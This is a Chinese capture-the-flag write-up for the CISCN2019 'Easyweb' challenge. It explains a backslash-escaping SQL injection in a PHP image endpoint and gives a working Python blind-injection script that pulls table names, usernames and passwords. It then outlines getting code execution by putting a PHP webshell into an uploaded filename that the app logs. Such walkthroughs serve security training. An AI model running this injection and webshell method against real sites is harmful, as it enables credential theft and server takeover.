[CISCN2019 总决赛 Day2 Web1]Easyweb

news2025/1/16 5:30:52

 扫目录能扫到一个robots.txt

在页面源代码发现

访问image.php.bak拿到源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

输入\0,按照它本来的设计应该是想把这个\0替换为空,但是\0会先被转义函数转义为\\0,因为他会先走addslashes函数,这样再进行替换的时候就会剩下\这里id被过滤完后剩下的转义符\,刚好可以转义原来的sql语句中id的后一个单引号

使得

select * from images where id='{$id}' or path='{$path}'

变为

select * from images where id='\' or path='{$path}'

实际上查询的值是' or path=

 脚本

import requests
url='http://4354f819-3b9a-47cf-b39f-6e16f65b5ccd.node4.buuoj.cn:81/image.php'
flag=''
min=0
max=127
mid=int((min+max)/2)

for i in range(25):
    while mid>min:
        # payload=" or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,0)# ".format(i,mid)
        # payload=" or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{}),1,0)# ".format(i,mid)
        # payload=" or if((ascii(substr((select group_concat(username) from users),{},1))>{}),1,0)# ".format(i,mid)
        payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
        params={
            'id':'\\0',
            'path':payload
             }
        res=requests.get(url,params=params).text
        if 'JFIF' in res:
              min=mid
              mid=int((min+max)/2)
        else:
            max=mid
            mid=int((min+max)/2)
    flag+=chr(mid+1)
    print(flag)
    min=0
    max=127
    mid=int((min+max)/2)
print(flag)

username就是admin,password是中间的这部分

登录上来有个文件上传,直接上传一个php文件

发现不能直接上传 ,改成jpg

去访问logs/upload.35f522295f76eb27b1601c557fc42278.log.php

记录了文件名

把文件名写成一句话木马

注意这里用了短标签的写法

找到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/24143.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Plant Communications|高质量的基因组组装和泛基因组研究促进了绿豆的基因发现及其改进

TITLE&#xff1a;High-quality genome assembly and pan-genome studies facilitate genetic discovery in mungbean and its improvement 译名&#xff1a;高质量的基因组组装和泛基因组研究促进了绿豆的基因发现及其改进 期刊&#xff1a;Plant Communications 日期&#xf…

单卡完美复现pan++论文代码结果

源代码 1、根据源代码github地址下载代码&#xff0c;上传到服务器&#xff0c;使用服务器为3090显卡&#xff0c;cuda11.4 2、所需要的包的版本如下&#xff1a; Package Version -------------------------------- ------------------- absl-py …

【附源码】计算机毕业设计JAVA学生信息管理系统2021

【附源码】计算机毕业设计JAVA学生信息管理系统2021 目运行 环境项配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JAVA…

solvePnP的使用及物理意义

1 PnP问题概述 PnP问题&#xff1a;Perspective-n-Point问题。 参考下图&#xff0c; 给定n个3D空间参考点&#xff0c;以及各点在相机图像上对应的成像点&#xff0c;求参考点所在坐标系与相机的空间关系。 即&#xff1a; 已知条件1&#xff1a;给定匹配点对&#xff1a;世…

LeetCode | 391.完美矩形

给你一个数组 rectangles &#xff0c;其中 rectangles[i] [xi, yi, ai, bi] 表示一个坐标轴平行的矩形。这个矩形的左下顶点是 (xi, yi) &#xff0c;右上顶点是 (ai, bi) 。 如果所有矩形一起精确覆盖了某个矩形区域&#xff0c;则返回 true &#xff1b;否则&#xff0c;返…

基于Matlab的合成孔径雷达模拟陆地场景(附源码)

目录 一、生成模拟地形 二、指定搜救系统和场景 三、定义地表反射率 四、配置雷达收发器 4.1 生成数据多维数据集 4.2 可视化 SAR 数据 五、总结 六、程序 合成孔径雷达&#xff08;SAR&#xff09;系统使用平台运动来模拟更长的孔径&#xff0c;以提高跨距离分辨率。S…

【半监督图像分割】2021-CPS CVPR

文章目录【半监督图像分割】2021-CPS CVPR1. 简介1.1 简介1.2 相关工作1.3 创新2. 网络2.1 网络架构2.2 Loss2.3 实验3. 代码【半监督图像分割】2021-CPS CVPR 论文题目&#xff1a;Semi-Supervised Semantic Segmentation with Cross Pseudo Supervision 中文题目&#xff1a;…

【第四部分 | JavaScript 基础】3:函数、作用域与预解析、对象

目录 | 函数 声明与调用 参数 返回值 arguments&#xff08;JS特有知识点&#xff09; 命名函数 和 匿名函数 | 作用域 全局和局部、JS5没有块级作用域 就近原则&#xff1a;作用域链 | 预解析&#xff08;重要&#xff09; 导论&#xff1a;四种语句位置导致的现象 …

安装TPDSS

TPDSS使用前电脑必须安装jdk。如若jdk安装完毕&#xff0c;则忽略第一步 第一步&#xff1a;jdk jdk安装完毕后控制面板会出现java字样 jdk安装完毕后&#xff0c;配置环境变量进行生效 1、进入到刚才安装时选择的文件夹&#xff0c;选中上方文件的路径&#xff0c;鼠标右键&…

全国各省产业结构协调-高级化、合理化指标(2000-2020年)

全国各省产业结构协调-高级化、合理化指标&#xff08;2000-2020年&#xff09; 1、时间&#xff1a;2000-2020年 2、包括&#xff1a;30个省份不含西藏 3、来源&#xff1a;统计NJ和国家统计J 4、指标包括&#xff1a; 原始数据&#xff1a;地区生产总值(亿元)、就业人员…

【软件测试】资深测试是如何火速入坑的?测试任务艰巨无从下手?

目录&#xff1a;导读一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;如何快速融入项目团队? 熟悉…

leetcode 1926. Nearest Exit from Entrance in Maze(迷宫最近的出口)

Input: maze [[“”,“”,“.”,“”],[“.”,“.”,“.”,“”],[“”,“”,“”,“.”]], entrance [1,2] Output: 1 Explanation: There are 3 exits in this maze at [1,0], [0,2], and [2,3]. Initially, you are at the entrance cell [1,2]. You can reach [1,0] by …

大模型产业化有四个关键,昇腾AI推动“AI+遥感”打了个样

文|智能相对论 作者|夜远风 农业卫星在太空“拍下”地面这张“照片”&#xff0c;地面根据这些图像数据&#xff0c;结合气象情况等&#xff0c;通过AI算法就准确地“算”出了农作物的长势状况&#xff0c;给地方政府、种地农民以参考。 &#xff08;图&#xff1a;农业用地的…

uni-app入门:页面布局之window和tabbar

1.window 2.tabbar 3.全局配置与局部页面配置 前言 每个页面按照结构可以分成三部分:window page tabbar.其中window和tabbar一般比较固定&#xff0c;page是平常业务开展的主要载体&#xff0c;根据业务需求进行页面配置。下面主要讲一下window和tabbar。 1.window…

【苹果相册】苹果推从新建的私钥CSR文件Profile还分为开发和分发

推荐内容IMESSGAE相关 作者推荐内容iMessage苹果推软件 *** 点击即可查看作者要求内容信息作者推荐内容1.家庭推内容 *** 点击即可查看作者要求内容信息作者推荐内容2.相册推 *** 点击即可查看作者要求内容信息作者推荐内容3.日历推 *** 点击即可查看作者要求内容信息作者推荐…

A-Level经济例题解析及练习

今日知识点&#xff1a; Externality and Government Intervention 例题 Externality and Government Intervention Acme and US Electric run coal-burning power plants. Each emits 40 tons of sulphur dioxide per month, total emissions 80 tons/month. Goal: Redu…

EXCEL函数

1.文本函数 1.2 LEFT() 概念&#xff1a;从文本字符串的第一个字符开始返回指定个数的字符。 例子&#xff1a;编辑此文本&#xff1a;忍一时风平浪静&#xff0c;退一步越想越气。 此处的H1即代表该文本&#xff0c;下面函数举例同样如此&#xff1a; 操作&#xff1a;LEFT(…

Magisk搞机器记录(小米Mix3)

背景 最近咸鱼入手了一块8256的小米Mix3手机&#xff0c;于是开始进行愉快的搞机之旅。笔者也是第一次玩&#xff0c;查阅了很多资料&#xff0c;如有错误的地方&#xff0c;还请大佬们指出来。 调研 经过大概的了解&#xff0c;大概就是解锁&#xff0c;获取Root权限&#…

机器学习笔记之高斯分布(五)推断任务之边缘概率分布与条件概率分布

机器学习笔记之高斯分布——推断任务之边缘概率分布与条件概率分布引言回顾&#xff1a;卡尔曼滤波高斯分布与线性计算的相关定理任务目标与推导过程任务目标求解边缘概率分布求解条件概率分布引言 上一节介绍了高斯分布概率模型相关的推断问题&#xff0c;并详细介绍了给定联…

RabbitMQ系列【12】惰性队列

有道无术&#xff0c;术尚可求&#xff0c;有术无道&#xff0c;止于术。 文章目录前言设置为惰性队列内存开销对比前言 默认情况下&#xff0c;当生产者将消息发送到 RabbitMQ 的时候&#xff0c;队列中的消息会尽可能的存储在内存之中&#xff0c;这样可以更加快速的将消息发…